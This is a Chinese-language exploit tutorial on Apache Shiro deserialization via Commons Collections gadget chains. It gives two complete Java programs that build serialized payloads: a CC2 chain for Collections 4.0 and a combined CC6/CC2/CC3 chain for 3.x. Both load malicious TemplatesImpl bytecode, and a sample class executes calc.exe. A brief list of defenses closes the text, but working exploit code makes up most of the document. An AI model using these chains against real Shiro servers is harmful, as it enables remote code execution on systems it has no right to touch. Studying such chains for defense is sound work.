shiro反序列化-打CC依赖
字数 1015 2025-08-11 08:36:14
Shiro反序列化漏洞利用:CC依赖链分析
1. 漏洞背景
Shiro框架存在反序列化漏洞,攻击者可以利用Commons Collections(CC)依赖链实现远程代码执行。根据Shiro使用的CC版本不同,可利用的链也有所区别:
- Commons Collections4.0:可直接使用CC2链
- Commons Collections3.0:需要组合CC6和CC3链的部分构造新的利用链
2. Commons Collections4.0利用(CC2链)
2.1 利用原理
CC2链利用PriorityQueue作为反序列化入口点,通过TransformingComparator触发InvokerTransformer,最终调用TemplatesImpl的newTransformer方法加载恶意字节码。
2.2 关键调用链
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer() // 触发恶意代码执行
2.3 完整EXP代码
package com.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2test {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
// 准备TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
// 设置_name字段
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
// 加载恶意字节码
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
// 构造InvokerTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
// 构造PriorityQueue
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
// 反射修改transformer
Class cl = transformingComparator.getClass();
Field transformerField = cl.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, invokerTransformer);
// 序列化
serialize(priorityQueue);
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("cc2.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}
}
2.4 依赖配置
需要在pom.xml中添加CC4依赖:
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
3. Commons Collections3.0利用
3.1 问题分析
直接使用CC6链会失败,因为Shiro自定义的ClassResolvingObjectInputStream无法加载数组类,而CC6依赖Transformer数组。
3.2 解决方案
组合利用:
- 前半段:使用CC6的
LazyMap和TiedMapEntry部分 - 中间段:使用CC2的
InvokerTransformer部分 - 后半段:使用CC3的
TemplatesImpl部分
3.3 完整EXP代码
package shiro.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class shirotest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// 准备TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
// 设置_name字段
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
// 加载恶意字节码
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
// 构造InvokerTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
// 构造LazyMap
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
// 构造TiedMapEntry并放入HashMap
HashMap<Object, Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
map2.put(tiedMapEntry, "bbb");
// 清理map防止干扰
map.remove(templates);
// 反射修改LazyMap的factory
Class cl = LazyMap.class;
Field fieldfactory = cl.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap, invokerTransformer);
// 序列化
serialize(map2);
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("wer.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}
}
4. 恶意字节码准备
两种利用方式都需要准备恶意字节码,可通过以下步骤生成:
- 编写恶意类代码(如弹出计算器):
public class Testdemo {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 编译为.class文件:
javac Testdemo.java
- 将.class文件放在指定路径供EXP加载
5. 防御建议
- 升级Shiro到最新版本
- 使用安全的AES加密密钥
- 禁用Shiro的rememberMe功能(如非必要)
- 升级Commons Collections到安全版本
- 实施输入验证和过滤
6. 总结
- CC4版本:直接使用CC2链,利用
PriorityQueue触发 - CC3版本:组合CC6和CC3链,绕过数组类加载限制
- 核心思路:最终都是通过
TemplatesImpl加载恶意字节码 - 关键点:反射修改关键字段,构造完整的调用链
通过深入理解这些利用链的构造原理,可以更好地防御此类反序列化漏洞。